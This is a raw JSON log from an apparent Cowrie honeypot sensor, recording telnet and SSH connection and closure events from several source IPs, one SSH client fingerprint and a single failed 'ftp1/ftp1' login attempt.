{"eventid":"cowrie.session.closed","duration":30.686707019805908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.137566Z","src_ip":"51.15.157.40","session":"c7504edc3d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4181387424469,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.153026Z","src_ip":"51.15.157.40","session":"83c9b53fcbbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80366086959839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.173839Z","src_ip":"104.236.196.85","session":"f6a5b97f674a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291332006454468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.198889Z","src_ip":"51.15.157.40","session":"9525e8eb5b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73278045654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.252061Z","src_ip":"51.15.157.40","session":"21aea00597dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.082667112350464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.314806Z","src_ip":"34.69.118.1","session":"6d557042228a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75638484954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.351469Z","src_ip":"51.15.157.40","session":"33dc9562e610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113839387893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.429979Z","src_ip":"51.15.157.40","session":"1c2e3af9b133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":37590,"dst_ip":"159.203.135.109","dst_port":23,"session":"989885dc7b5c","protocol":"telnet","message":"New connection: 108.61.224.215:37590 (159.203.135.109:23) [session: 989885dc7b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.451414Z"}
{"eventid":"cowrie.session.closed","duration":31.606101751327515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.628668Z","src_ip":"51.15.157.40","session":"0ec68739c2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.589316606521606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.637871Z","src_ip":"108.61.224.215","session":"36c6acd8924f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47472,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a37925eac30","protocol":"telnet","message":"New connection: 167.99.38.72:47472 (159.203.135.109:23) [session: 5a37925eac30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.712566Z"}
{"eventid":"cowrie.session.closed","duration":31.351382970809937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.760280Z","src_ip":"51.15.157.40","session":"ff309b64b5ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70162296295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.781969Z","src_ip":"89.39.83.70","session":"526ae2c1d0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322389602661133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.884720Z","src_ip":"51.15.157.40","session":"ea080c421824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11780762672424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:16.000989Z","src_ip":"103.171.45.122","session":"604b38239e24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13913369178772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:16.181304Z","src_ip":"51.15.157.40","session":"bf542c57deef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89876890182495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:16.193519Z","src_ip":"51.15.157.40","session":"c3c588350e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40113925933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:16.308735Z","src_ip":"51.15.157.40","session":"6cf2b9961685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.681015491485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:17.128994Z","src_ip":"51.15.157.40","session":"9603c311ce9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161916494369507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:17.174831Z","src_ip":"51.15.157.40","session":"7dac9c0be6ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745011568069458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:17.231605Z","src_ip":"103.171.45.122","session":"35d4b006d74d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":57332,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada3d0ad6c4d","protocol":"telnet","message":"New connection: 89.39.83.70:57332 (159.203.135.109:23) [session: ada3d0ad6c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.035416Z"}
{"eventid":"cowrie.session.closed","duration":30.328759908676147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.087332Z","src_ip":"51.15.157.40","session":"710738923faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702998161315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.183882Z","src_ip":"62.171.133.168","session":"c4ec62bb6990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":57638,"dst_ip":"159.203.135.109","dst_port":23,"session":"23beeebcaac0","protocol":"telnet","message":"New connection: 89.39.83.70:57638 (159.203.135.109:23) [session: 23beeebcaac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.307349Z"}
{"eventid":"cowrie.session.closed","duration":31.198149919509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.433056Z","src_ip":"104.236.196.85","session":"fd68c1cb6dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33788,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d2886a58c3","protocol":"telnet","message":"New connection: 51.15.157.40:33788 (159.203.135.109:23) [session: 15d2886a58c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.746111Z"}
{"eventid":"cowrie.session.closed","duration":31.474955797195435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:18.933125Z","src_ip":"34.69.118.1","session":"1275efc04c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282599210739136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:19.129365Z","src_ip":"62.171.133.168","session":"708b9f47cf4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a37abc8de79f","protocol":"telnet","message":"New connection: 103.171.45.122:54154 (159.203.135.109:23) [session: a37abc8de79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:19.992102Z"}
{"eventid":"cowrie.session.closed","duration":31.031696319580078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:20.209330Z","src_ip":"51.15.157.40","session":"d5a4a3e891cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56220,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a4e44596cf2","protocol":"telnet","message":"New connection: 62.171.133.168:56220 (159.203.135.109:23) [session: 0a4e44596cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:20.233044Z"}
{"eventid":"cowrie.session.closed","duration":30.58385133743286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:20.276630Z","src_ip":"51.15.157.40","session":"f6f80b6b171a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":50830,"dst_ip":"159.203.135.109","dst_port":23,"session":"575763689ed1","protocol":"telnet","message":"New connection: 167.99.38.72:50830 (159.203.135.109:23) [session: 575763689ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:20.477199Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40018,"dst_ip":"159.203.135.109","dst_port":23,"session":"8073db619ff8","protocol":"telnet","message":"New connection: 51.15.157.40:40018 (159.203.135.109:23) [session: 8073db619ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:20.964668Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":60422,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c76d2bd36ff","protocol":"telnet","message":"New connection: 89.39.83.70:60422 (159.203.135.109:23) [session: 2c76d2bd36ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:21.152889Z"}
{"eventid":"cowrie.session.closed","duration":30.621840238571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:21.330523Z","src_ip":"157.15.20.138","session":"d2404aadb05f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477827787399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:22.208817Z","src_ip":"103.171.45.122","session":"4c592100425b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748346090316772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:22.537559Z","src_ip":"104.236.196.85","session":"62cf5d9cc632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56224,"dst_ip":"159.203.135.109","dst_port":23,"session":"efee22a28d5a","protocol":"telnet","message":"New connection: 62.171.133.168:56224 (159.203.135.109:23) [session: efee22a28d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:22.755600Z"}
{"eventid":"cowrie.session.closed","duration":30.684715509414673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:23.109703Z","src_ip":"104.236.196.85","session":"af7774651717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45986,"dst_ip":"159.203.135.109","dst_port":23,"session":"368aab2f9738","protocol":"telnet","message":"New connection: 51.15.157.40:45986 (159.203.135.109:23) [session: 368aab2f9738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:23.122701Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46328,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c016a45629","protocol":"telnet","message":"New connection: 51.15.157.40:46328 (159.203.135.109:23) [session: 24c016a45629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:23.276429Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39440,"dst_ip":"159.203.135.109","dst_port":23,"session":"309ca4e592f4","protocol":"telnet","message":"New connection: 51.15.157.40:39440 (159.203.135.109:23) [session: 309ca4e592f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:23.721629Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":35386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8518b38ee1b","protocol":"telnet","message":"New connection: 89.39.83.70:35386 (159.203.135.109:23) [session: d8518b38ee1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:24.091928Z"}
{"eventid":"cowrie.session.closed","duration":30.941633939743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:24.221041Z","src_ip":"51.15.157.40","session":"a911cf19604f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50168,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba40337d6428","protocol":"telnet","message":"New connection: 51.15.157.40:50168 (159.203.135.109:23) [session: ba40337d6428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:24.577372Z"}
{"eventid":"cowrie.session.closed","duration":30.493427276611328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:25.115026Z","src_ip":"104.236.196.85","session":"4147013a2509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":42694,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6851be6e1cd","protocol":"telnet","message":"New connection: 34.69.118.1:42694 (159.203.135.109:23) [session: f6851be6e1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:25.533756Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":60718,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc4af52c96b","protocol":"telnet","message":"New connection: 104.236.196.85:60718 (159.203.135.109:23) [session: cfc4af52c96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:26.151786Z"}
{"eventid":"cowrie.session.closed","duration":31.63926649093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:27.747498Z","src_ip":"34.69.118.1","session":"2c1d649a0e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871546745300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:28.188837Z","src_ip":"51.15.157.40","session":"10514071c942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35332,"dst_ip":"159.203.135.109","dst_port":23,"session":"89520cef4841","protocol":"telnet","message":"New connection: 51.15.157.40:35332 (159.203.135.109:23) [session: 89520cef4841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:28.877083Z"}
{"eventid":"cowrie.session.closed","duration":31.05441164970398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:29.088374Z","src_ip":"104.236.196.85","session":"98e826a30191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556442737579346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:29.118290Z","src_ip":"51.15.157.40","session":"dde70d6cab94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17067313194275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:29.198016Z","src_ip":"104.236.196.85","session":"773cdd7b3152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257306814193726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:29.332684Z","src_ip":"104.236.196.85","session":"dd7430a7f3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304197788238525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:29.345995Z","src_ip":"104.236.196.85","session":"1fad8916578e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028667211532593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.155467Z","src_ip":"104.236.196.85","session":"9638a87c8eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":45352,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd7f7676b89","protocol":"ssh","message":"New connection: 221.139.88.149:45352 (10.17.0.5:22) [session: bfd7f7676b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.167339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.175270Z","src_ip":"221.139.88.149","session":"bfd7f7676b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.29638671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.192909Z","src_ip":"51.15.157.40","session":"18835d75c162","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.363921Z","src_ip":"221.139.88.149","session":"bfd7f7676b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":54038,"dst_ip":"159.203.135.109","dst_port":23,"session":"02cfe3bed956","protocol":"telnet","message":"New connection: 62.171.133.168:54038 (159.203.135.109:23) [session: 02cfe3bed956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:30.392536Z"}
{"eventid":"cowrie.session.closed","duration":30.223734617233276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:31.034239Z","src_ip":"104.236.196.85","session":"00d56b2a0f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5475ed8802","protocol":"telnet","message":"New connection: 62.171.133.168:54054 (159.203.135.109:23) [session: 1f5475ed8802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:31.111316Z"}
{"eventid":"cowrie.session.closed","duration":31.131821870803833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:31.158921Z","src_ip":"104.236.196.85","session":"4ddce1e08911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431715488433838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:31.274010Z","src_ip":"104.236.196.85","session":"8a8548c7f187","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp1","password":"ftp1","message":"login attempt [ftp1/ftp1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:31.368416Z","src_ip":"221.139.88.149","session":"bfd7f7676b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37416,"dst_ip":"159.203.135.109","dst_port":23,"session":"99a8fc45cc57","protocol":"telnet","message":"New connection: 157.15.20.138:37416 (159.203.135.109:23) [session: 99a8fc45cc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.140177Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37426,"dst_ip":"159.203.135.109","dst_port":23,"session":"514808e9b061","protocol":"telnet","message":"New connection: 157.15.20.138:37426 (159.203.135.109:23) [session: 514808e9b061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.192440Z"}
{"eventid":"cowrie.session.closed","duration":30.36742663383484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.310484Z","src_ip":"51.15.157.40","session":"447d12033dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04410dc4858","protocol":"telnet","message":"New connection: 51.15.157.40:45716 (159.203.135.109:23) [session: a04410dc4858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.408198Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.630131Z","src_ip":"221.139.88.149","session":"bfd7f7676b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51022982597351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:32.686188Z","src_ip":"51.15.157.40","session":"0733788c6684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":54070,"dst_ip":"159.203.135.109","dst_port":23,"session":"d792cba2bd7c","protocol":"telnet","message":"New connection: 62.171.133.168:54070 (159.203.135.109:23) [session: d792cba2bd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:33.270751Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48144,"dst_ip":"159.203.135.109","dst_port":23,"session":"386881446b99","protocol":"telnet","message":"New connection: 51.15.157.40:48144 (159.203.135.109:23) [session: 386881446b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:33.435044Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"604d33048d83","protocol":"telnet","message":"New connection: 103.171.45.122:35794 (159.203.135.109:23) [session: 604d33048d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:34.143155Z"}
{"eventid":"cowrie.session.closed","duration":30.543936252593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:34.303158Z","src_ip":"51.15.157.40","session":"977b7ee8a8d1","protocol":"telnet"}
